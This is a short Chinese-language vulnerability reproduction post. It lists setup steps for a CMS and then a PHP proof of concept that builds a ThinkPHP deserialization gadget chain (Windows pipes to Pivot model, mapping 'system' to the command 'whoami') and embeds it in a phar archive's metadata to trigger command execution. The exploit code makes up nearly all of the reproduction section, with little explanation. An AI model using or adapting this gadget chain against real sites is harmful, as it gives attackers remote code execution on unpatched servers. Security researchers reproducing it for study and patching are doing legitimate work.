环境搭建

下载源码：http://down.chinaz.com/soft/39542.htm

创建数据库，导入sql

/config/database.php

修改数据库连接信息

安装成功

漏洞复现

poc

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct()
        {
            $this->withAttr=['a'=>'system'];
            $this->data=['a'=>'whoami'];
        }
    }

}
namespace think\model{
    use think\Model;
    class Pivot extends Model{


    }
}
namespace think\process\pipes {
    use \think\Model\Pivot;
    use think\Process;
    abstract class Pipes
    {

    }

    class Windows extends Pipes
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
    //echo urlencode(serialize(new Windows()));
}

namespace {
    $phar = new Phar("phar.phar"); //后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

    $a = new think\process\pipes\Windows();

    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}
?>